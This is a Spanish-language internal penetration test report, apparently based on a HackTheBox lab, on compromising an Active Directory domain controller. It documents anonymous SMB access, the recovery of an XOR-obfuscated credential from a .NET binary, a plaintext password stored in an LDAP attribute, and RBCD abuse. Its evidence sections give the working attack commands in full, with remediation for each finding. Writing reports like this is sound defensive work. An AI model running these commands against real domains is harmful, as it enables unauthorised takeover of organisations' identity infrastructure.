

Support Solutions Inc. — Internal Penetration Test Report

Campo	Valor
Status	Final
Testing Period	July 28, 2026 – August 1, 2026
Prepared by	Esteban Zárate
Assessment Type	Internal Penetration Test — Black Box perspective
Tester Source IP	10.10.14.23
Target Scope	10.129.68.160 (DC.SUPPORT.HTB)

1. Overview

Support Solutions Inc. contrató un Internal Penetration Test contra su entorno de Active Directory. El tester operó desde dentro del segmento de red interno, sin credenciales ni conocimiento previo del entorno (black box), simulando un actor con acceso físico/lógico a la red pero sin cuenta de dominio.

Toda la actividad de testing se realizó entre el 28 de julio y el 1 de agosto de 2026. Este reporte representa una fotografía del entorno durante dicha ventana; Support Solutions Inc. no puede dar por sentado el estado de sus activos de información fuera de este período.

2. Executive Summary

Durante el Internal Penetration Test realizado contra el entorno de directorio de Support Solutions Inc., se identificaron **4 hallazgos**: 1 crítico, 2 altos y 1 bajo. En conjunto, estos hallazgos permitieron a un evaluador que comenzó sin ninguna credencial ni acceso previo obtener control total sobre el controlador de dominio — es decir, sobre el sistema que gestiona la identidad y los permisos de todos los usuarios y equipos de la organización.

No se identificaron sistemas sin actualizar ni fallas de parcheo durante la evaluación, lo cual refleja un proceso de gestión de actualizaciones saludable.

El primer problema detectado fue que la red interna permite a cualquier dispositivo conectarse a ciertos recursos compartidos de archivos sin necesidad de identificarse. Esto por sí solo representa un riesgo menor, pero fue el punto de partida de toda la cadena de ataque: a través de ese acceso sin identificación, el evaluador pudo descargar una herramienta de uso interno del equipo de soporte.

Esa herramienta resultó contener, oculta dentro de su propio código, una contraseña de una cuenta corporativa. Si bien la contraseña no estaba escrita en texto claro, la técnica usada para ocultarla era débil y pudo revertirse fácilmente. Esto expone un problema más amplio de gestión de credenciales: las contraseñas de cuentas de servicio no deberían almacenarse dentro de programas distribuidos a los equipos de trabajo, ocultas o no.

Con esa cuenta, el evaluador pudo consultar información del directorio de la organización y encontró que la contraseña de otra cuenta de usuario estaba anotada, en texto claro, en un campo de notas administrativas del propio directorio — un lugar pensado para comentarios internos, no para credenciales. Esa contraseña permitió iniciar sesión de forma remota en uno de los equipos de la red con privilegios administrativos.

Finalmente, se determinó que esa misma cuenta de usuario formaba parte de un grupo al que, en algún

momento, se le otorgó control total sobre el equipo que actúa como controlador de dominio — el sistema más sensible de todo el entorno. Este nivel de control permitió al evaluador, mediante una técnica de suplantación de identidad soportada por el propio protocolo de autenticación de Windows, obtener acceso equivalente al de un administrador de todo el dominio.

En conjunto, estos hallazgos comparten una misma raíz: una gestión de credenciales y de permisos que no sigue el principio de mínimo privilegio, sumada a controles de acceso a la red interna más permisivos de lo recomendable. Ninguno de los problemas individuales requirió el uso de una vulnerabilidad de software conocida; todos derivan de configuración y de prácticas operativas, lo cual significa que pueden corregirse sin depender de actualizaciones de terceros.

Se recomienda a Support Solutions Inc. priorizar las acciones descritas en la Sección 4 (Resumen de Recomendaciones), comenzando por restringir el acceso sin identificación a la red interna y por retirar cualquier credencial almacenada en texto claro o de forma débilmente oculta. La actividad de evaluación pareció pasar inadvertida durante la ventana de testing, lo cual sugiere una oportunidad de mejora en la capacidad de detección del equipo de seguridad.

3. Attack Chain

Contexto del assessment: Internal Penetration Test, perspectiva black box, sin técnicas de evasión activa.

Resumen:

1. Autenticación anónima (null session) habilitada sobre SMB permitió enumerar shares sin credenciales.
2. Un share de lectura anónima ("support-tools") exponía una herramienta interna del staff de soporte.
3. La decompilación de dicha herramienta reveló una contraseña cifrada con un esquema de cifrado propio y débil (XOR con clave hardcodeda en el binario), recuperando la credencial de una cuenta de servicio de dominio (F2).
4. Esa cuenta de servicio tenía permisos de lectura sobre el directorio, exponiendo que otra cuenta de usuario tenía su contraseña almacenada en texto plano en un campo de notas/descripción del directorio (F3).
5. Dicha contraseña permitió acceso administrativo remoto (WinRM) a la cuenta, confirmando compromiso de un host con sesión interactiva (foothold).
6. Con la cuenta comprometida se identificó, vía análisis de relaciones de permisos del directorio (BloodHound), que pertenecía a un grupo con control total (`GenericAll`) sobre el objeto del propio controlador de dominio (F4).
7. Ese control total se usó para habilitar Resource-Based Constrained Delegation (RBCD) a favor de una cuenta de equipo creada por el tester (abusando de la cuota por defecto que permite a cualquier usuario autenticado registrar cuentas de equipo, `ms-DS-MachineAccountQuota`).
8. Dicha delegación permitió solicitar, vía Kerberos (S4U2Self/S4U2Proxy), un ticket de servicio válido suplantando a la cuenta Administrator.
9. Ese ticket se usó para ejecutar comandos con privilegios de SYSTEM en el controlador de dominio, confirmando el **compromiso total del dominio (Domain Admin)**.

(Walkthrough detallado paso a paso con evidencia: ver writeup técnico que acompaña este reporte.)

Esta cadena representa la ruta efectivamente explotada; otros hallazgos de este reporte podrían, en teoría, haber llevado también a compromiso por rutas distintas. Romper cualquier eslabón de esta cadena específica (por ejemplo, deshabilitar la autenticación anónima en el paso 1, o eliminar la contraseña en texto plano del paso 4) habría detenido esta ruta particular de ataque.

Estado: compromiso total del dominio confirmado (SYSTEM en el Domain Controller).

4. Summary of Recommendations

Corto plazo (acción inmediata):

- Deshabilitar la autenticación anónima/null session sobre SMB en todos los hosts, especialmente

controladores de dominio. (Ligado a F1)

- Eliminar `UserInfo.exe` y cualquier otro binario con credenciales embebidas del share `support-tools`; rotar la contraseña de la cuenta `ldap` inmediatamente, dado que la credencial fue recuperada por el tester. (Ligado a F2)
- Eliminar la contraseña en texto plano del atributo `info` de la cuenta `support`; rotar su contraseña. (Ligado a F3)
- Revocar el permiso `GenericAll` del grupo “Shared Support Accounts” sobre el objeto computadora `DC`; revisar qué otros objetos sensibles tienen ACLs similares sobre grupos de cuentas compartidas. (Ligado a F4)
- Eliminar la cuenta de equipo `MELVIN$` creada durante el testing y limpiar el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de `DC$` (ver Appendix F — Configuration Changes).

Mediano plazo:

- Establecer un proceso de revisión periódica (trimestral) de recursos compartidos accesibles anónimamente en la red interna.
- Migrar cualquier credencial que hoy viva embebida en herramientas internas a un gestor de secretos (vault) con acceso controlado y auditado. (Ligado a F2)
- Auditar y limpiar el atributo `info`/descripción de todos los objetos de usuario del directorio como parte de un proceso de higiene de AD. (Ligado a F3)
- Reducir `ms-DS-MachineAccountQuota` a 0 para usuarios sin necesidad legítima de unir equipos al dominio. (Ligado a F4)

Largo plazo (proceso):

- Incorporar revisión de ACLs de Active Directory (vía BloodHound u otra herramienta equivalente) como parte del ciclo regular de hardening, no solo durante evaluaciones externas. (Ligado a F4)
- Formalizar una política de gestión de credenciales que prohíba explícitamente el almacenamiento de contraseñas — cifradas con esquemas propios o no — dentro de binarios distribuidos a estaciones de trabajo. (Ligado a F2, F3)
- Revisar la política de acceso de red para servicios internos (SMB, LDAP) alineada a principio de mínimo privilegio, requiriendo autenticación por defecto. (Ligado a F1)

5. Findings

#	Finding	Severidad
F4	Control total (GenericAll) sobre el objeto del Domain Controller, heredado por membresía de grupo y explotable vía RBCD	Critical
F2	Credencial de cuenta de dominio embebida (débilmente cifrada) en binario accesible vía recurso compartido anónimo	High
F3	Contraseña en texto plano almacenada en atributo de descripción (<code>info</code>) de un objeto de usuario de Active Directory	High
F1	Autenticación anónima (Null Session) habilitada en SMB	Low

F4 — Control total (GenericAll) sobre el objeto del Domain Controller vía membresía de grupo

Severity: Critical

Description: La cuenta de usuario `support` es miembro del grupo de Active Directory “Shared Support Accounts”. Dicho grupo tiene asignado el permiso `GenericAll` (control total) sobre el objeto computadora

correspondiente al controlador de dominio (`DC.SUPPORT.HTB`). `GenericAll` sobre un objeto computadora permite, entre otras cosas, escribir el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity`, habilitando un ataque de Resource-Based Constrained Delegation (RBCD): cualquier identidad controlada por quien posee ese permiso puede configurarse como “delegada” y, mediante el flujo Kerberos S4U2Self/S4U2Proxy, obtener un ticket de servicio suplantando a cualquier usuario del dominio — incluido Administrator — frente a ese equipo. La causa raíz es un control de acceso (ACL) sobredimensionado, probablemente asignado por conveniencia operativa sin revisión posterior.

Impact: Control total sobre el controlador de dominio equivale a control total sobre la identidad de toda la organización: creación/eliminación de cualquier cuenta, acceso a cualquier recurso protegido por el dominio, y capacidad de instalar persistencia a nivel de todo el bosque de Active Directory. Es, en la práctica, el peor escenario posible en un entorno Windows AD.

Affected Systems: `DC.SUPPORT.HTB` (controlador de dominio); grupo `Shared Support Accounts`; cuenta `support`.

Evidence / Reproduction Steps:

1. Tras obtener la credencial de la cuenta `ldap` (ver F2), se recolectaron datos de BloodHound sobre el dominio:

```
nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p '<REDACTED>' --bloodhound -c All
```

2. El análisis del grafo de relaciones mostró que `SUPPORT@SUPPORT.HTB` es miembro del grupo `SHARED SUPPORT ACCOUNTS`, y que ese grupo tiene `GenericAll` sobre `DC.SUPPORT.HTB`.
3. Aprovechando la cuota por defecto de creación de cuentas de equipo, se creó una cuenta de máquina controlada por el tester:

```
addcomputer.py -computer-name 'MELVIN$' -computer-pass '<REDACTED>' 'support.htb/support:<REDACTED>'
```

```
[*] Successfully added machine account MELVIN$ with password <REDACTED>.
```

4. Usando el `GenericAll` heredado, se configuró RBCD para que la cuenta recién creada pudiera delegar en nombre de `DC$`:

```
rbcd.py -delegate-from 'MELVIN$' -delegate-to 'DC$' -action 'write' 'support.htb/support:<REDACTED>'
```

```
[*] Delegation rights modified successfully!  
[*] MELVIN$ can now impersonate users on DC$ via S4U2Proxy
```

5. Se solicitó un ticket de servicio Kerberos suplantando a `administrator`:

```
getST.py -spn 'cifs/dc.support.htb' -impersonate 'administrator' 'support.htb/MELVIN$:<REDACTED>'
```

6. El ticket obtenido se usó para ejecutar comandos con privilegios de SYSTEM en el controlador de dominio:

```
export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache  
psexec.py -k -no-pass dc.support.htb -dc-ip 10.129.68.160
```

Resultado: shell interactiva como `NT AUTHORITY\SYSTEM` en el DC, con acceso confirmado al escritorio de Administrator.

Remediation: Remover el permiso `GenericAll` del grupo “Shared Support Accounts” sobre el objeto `DC` y reemplazarlo por el mínimo permiso necesario para la función operativa que motivó su asignación (si ninguna función legítima lo requiere, eliminarlo por completo). Auditar con BloodHound (o equivalente) todas las ACLs de grupos de “cuentas compartidas” sobre objetos computadora, especialmente controladores de dominio, y

documentar una política que prohíba otorgar `GenericAll/GenericWrite/WriteDacl` sobre objetos Tier 0 a grupos de uso general. Como medida complementaria, reducir `ms-DS-MachineAccountQuota` a 0 para limitar quién puede crear cuentas de equipo utilizables en ataques de este tipo.

References:

- [Resource-Based Constrained Delegation abuse — HackTricks](#)
- [Microsoft — Security principals and GenericAll](#)

F2 — Credencial de cuenta de dominio embebida (débilmente cifrada) en binario accesible vía recurso compartido anónimo

Severity: High

Description: El recurso compartido `support-tools`, accesible con autenticación anónima (ver F1), distribuye una herramienta interna (`UserInfo.exe`) usada por el personal de soporte para consultar el directorio. Al decompilar el binario (.NET), se encontró una clase (`Protected`) que almacena una contraseña codificada en Base64 y la “descifra” en tiempo de ejecución mediante un esquema de cifrado propio (XOR byte a byte contra una clave ASCII hardcodeada en el mismo binario, seguido de un XOR constante). Este esquema no ofrece ninguna protección real: cualquiera con acceso al binario puede extraer la clave y el texto cifrado y revertir el algoritmo en segundos. La contraseña recuperada corresponde a la cuenta de dominio `support\ldap`, usada por la propia herramienta para autenticar contra LDAP.

Impact: Compromiso de una cuenta de dominio válida con capacidad de bind LDAP, lo cual habilita enumeración autenticada completa del directorio (usuarios, grupos, atributos, ACLs) — el punto de apoyo que permitió descubrir F3 y, en cadena, F4.

Affected Systems: Share `support-tools` en `DC.SUPPORT.HTB`; binario `UserInfo.exe`; cuenta de dominio `support\ldap`.

Evidence / Reproduction Steps:

1. Con acceso anónimo al share `support-tools` (ver F1), se descargó el binario:

```
nxc smb 10.129.68.160 -u Guest -p "" --share support-tools --get-file UserInfo.exe.zip UserInfo.exe.zip
```

2. Se decompiló con ILSpy, revelando la clase `Protected` con la contraseña cifrada y la rutina de descifrado:

```
private static string enc_password = "<REDACTED - ver evidencia completa en writeup tecnico>";
private static byte[] key = Encoding.ASCII.GetBytes("<REDACTED>");
public static string getPassword() { /* XOR + XOR constante */ }
```

3. Se replicó el algoritmo de forma independiente (Python) para confirmar la contraseña recuperada, obteniendo una credencial válida para `support\ldap`.
4. Se validó la credencial contra LDAP:

```
nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p '<REDACTED>' -M get-info-users
```

```
[+] support.htb\ldap:<REDACTED>
```

Remediation: Rotar inmediatamente la contraseña de la cuenta `support\ldap`, dado que quedó expuesta durante este testing. Retirar `UserInfo.exe` (y cualquier binario equivalente) del share y de los equipos donde esté desplegado hasta que se elimine por completo el patrón de credenciales embebidas. A futuro, las herramientas internas que necesiten autenticar contra el directorio deben obtener sus credenciales de un gestor de secretos (vault) en tiempo de ejecución, o usar autenticación integrada de Windows (Kerberos/GMSA) en lugar de una cuenta con contraseña estática embebida — cifrada con un esquema estándar o no.

References:

- [OWASP — Hardcoded credentials](#)
- [Microsoft — Group Managed Service Accounts](#)

F3 — Contraseña en texto plano almacenada en atributo de descripción (`info`) de un objeto de usuario de Active Directory

Severity: High

Description: Usando la cuenta `support\ldap` (ver F2), se realizó una consulta de enumeración de usuarios del dominio que incluye el atributo `info` (campo de “Notas” visible en la consola de Usuarios y Equipos de AD). Dicha consulta reveló que el atributo `info` del usuario `support` contiene su propia contraseña en texto plano. Este campo está diseñado para anotaciones administrativas, no para almacenar secretos, y es legible por cualquier cuenta con permisos de lectura básicos sobre el objeto — en este caso, incluso una cuenta de servicio de bajo privilegio como `ldap`.

Impact: Exposición directa de una credencial de dominio válida a cualquier cuenta con capacidad de consulta LDAP básica, sin requerir ningún permiso elevado. En este engagement, esta credencial fue el acceso administrativo remoto (foothold) al primer host comprometido.

Affected Systems: Objeto de usuario `support` en el directorio de `support.htb`.

Evidence / Reproduction Steps:

1. Con la credencial `ldap` validada, se ejecutó un módulo de enumeración que vuelca el atributo `info` de los usuarios del dominio:

```
nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p '<REDACTED>' -M get-info-users
```

```
GET-INFO... [+] Found following users:  
GET-INFO... User: support Info: <REDACTED - contraseña en texto plano>
```

2. Se validó que la contraseña recuperada correspondía efectivamente a la cuenta `support`, mediante acceso remoto administrativo:

```
evil-winrm -i 10.129.68.160 -u support -p '<REDACTED>'
```

Resultado: sesión interactiva confirmada como `support.htb/support`.

Remediation: Eliminar inmediatamente el contenido del atributo `info` de la cuenta `support` y rotar su contraseña. Realizar una auditoría del atributo `info`/descripción sobre todos los objetos de usuario y de equipo del directorio en busca de otras credenciales u otra información sensible anotada por error. Formalizar y comunicar al equipo de IT/soporte una política que prohíba explícitamente registrar contraseñas en campos de notas o descripción de cualquier sistema de directorio.

References:

- [Microsoft — Active Directory data confidentiality](#)

F1 — Autenticación anónima (Null Session) habilitada en SMB

Severity: Low

Description: El controlador de dominio `DC.SUPPORT.HTB` acepta autenticación anónima (null session) sobre SMB mediante la cuenta integrada `Guest` sin contraseña. Esto permite a cualquier dispositivo con acceso de red, sin poseer ninguna credencial de dominio, enumerar recursos compartidos y, dependiendo de los permisos configurados en cada uno, listar y descargar su contenido.

Impact: Por sí sola, la autenticación anónima representa un riesgo moderado de divulgación de información. En este engagement fue el punto de entrada de toda la cadena de ataque (ver Sección 3 — Attack Chain): habilitó el acceso al share `support-tools`, origen de F2.

Affected Systems: `DC.SUPPORT.HTB` (servicio SMB, puerto 445).

Evidence / Reproduction Steps:

1. Se intentó autenticación con la cuenta `Guest` y contraseña vacía:

```
nxc smb 10.129.68.160 -u Guest -p ""
```

```
SMB 10.129.68.160 445 DC [+] support.htb\Guest:
```

2. Con esa sesión anónima, se enumeraron los recursos compartidos disponibles, incluyendo el share no estándar `support-tools` con permiso de lectura:

```
nxc smb 10.129.68.160 -u Guest -p "" --shares
```

Remediation: Deshabilitar la autenticación anónima sobre SMB (`RestrictAnonymous = 2` vía GPO, o la política equivalente “Network access: Do not allow anonymous enumeration of SAM accounts and shares”), aplicada a nivel de dominio y verificada específicamente en los controladores de dominio. Revisar los permisos de todos los recursos compartidos de red para confirmar que ninguno otorgue acceso de lectura a `Everyone / Anonymous Logon` sin una justificación de negocio explícita.

References:

- [Microsoft — Network access: Restrict anonymous access](#)

6. Appendices

A. Scope

Host único en alcance: `DC.SUPPORT.HTB` (10.129.68.160), controlador de dominio del bosque `support.htb`. Testing interno, dentro del segmento de red del cliente, sin restricciones horarias.

B. Methodology

1. Reconocimiento de puertos y servicios (nmap, todos los puertos + `-sCV` sobre los abiertos).
2. Enumeración de servicios de Active Directory (SMB, LDAP, Kerberos) sin credenciales.
3. Explotación de autenticación anónima para enumeración de recursos compartidos.
4. Análisis de artefactos expuestos (ingeniería inversa de binario .NET).
5. Enumeración autenticada de Active Directory (incluyendo recolección BloodHound) con la credencial obtenida.
6. Identificación y explotación de una ruta de escalada de privilegios basada en ACLs (abuso de RBCD).
7. Validación de impacto mediante ejecución de comandos en el sistema objetivo, acceso a archivos de prueba (flags) únicamente.

C. Severity Ratings

Clasificación cualitativa basada en impacto potencial y facilidad de explotación observada, sin mapeo directo a CVSS (no aplica por tratarse de hallazgos de configuración/arquitectura, no de vulnerabilidades de software con CVE):

- **Critical:** compromiso total del dominio o de su información más sensible, con explotación confirmada durante el testing.
- **High:** compromiso de una cuenta o sistema de impacto significativo, confirmado, que habilita o facilita directamente una escalada mayor.

- **Low:** exposición de información o configuración débil que, aislada, no compromete directamente un sistema, pero reduce la seguridad general o facilita otros ataques.

D. Biographies

Esteban Zárate — Analista de ciberseguridad y jugador activo de CTF, con experiencia práctica en metodologías de pentesting sobre entornos Windows/Active Directory.

GitHub: [estebanzarate](#) · LinkedIn: [esteban-zarate](#) · HackTheBox: [perfil 1089152](#).

E. Compromised Credentials

Cuenta	Tipo	Obtenida vía
<code>support.htb\ldap</code>	Cuenta de servicio	Reversing de binario expuesto en share anónimo (F2)
<code>support.htb\support</code>	Cuenta de usuario	Atributo <code>info</code> en texto plano (F3)
Administrator (impersonado, no credencial robada)	Cuenta de dominio	Ticket de servicio Kerberos vía abuso de RBCD (F4) — no se obtuvo ni se necesitó la contraseña/hash de Administrator

F. Configuration Changes

El tester realizó los siguientes cambios en el entorno como parte de la explotación de F4; se recomienda revertirlos o confirmarlos como parte del cierre del engagement:

- Creación de la cuenta de equipo `MELVIN$` (objeto `CN=MELVIN,CN=Computers,DC=support,DC=htb`).
- Modificación del atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` del objeto `DC$`, autorizando a `MELVIN$` a actuar en su nombre (RBCD). Este atributo estaba vacío antes del testing.

Acción recomendada de limpieza: eliminar la cuenta de equipo `MELVIN$` y limpiar (vaciar) el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de `DC$`.